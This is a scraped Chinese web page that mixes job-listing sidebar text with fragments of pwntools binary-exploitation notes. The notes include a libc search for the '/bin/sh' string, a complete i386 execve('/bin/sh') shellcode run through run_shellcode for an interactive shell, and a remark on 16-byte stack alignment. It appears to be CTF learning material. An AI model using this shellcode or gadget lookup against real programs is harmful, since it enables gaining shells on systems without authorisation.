7小时前
推荐职位
c++开发工程师
3-5年／大专
12-20k
安徽省刀锋网络科技有限公司
不需要融资/郑州
安卓系统工程师
经验不限／本科
面议
易玩（上海）网络科技有限公司
未融资/上海
实时热点
推荐专栏
bin_sh_addr = libc.base + next(libc.search(b'/bin/sh\x00'))
主要还是python3和python2的兼容性导致的区别，迭代器、str对象和bytes对象的处理方式变了
比如使用 run_shellcode 函数运行字节shellcode
（或者使用 run_assebmly 函数运行汇编代码）
from pwn import *
context(arch="i386", os="linux", log_level="debug")
shellcode = asm("""
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
add eax, 0xb
int 0x80
""")
p = run_shellcode(shellcode)
p.interactive()
RSP如果没有16字节对齐，就会报错。
视频里的exp不一定能成功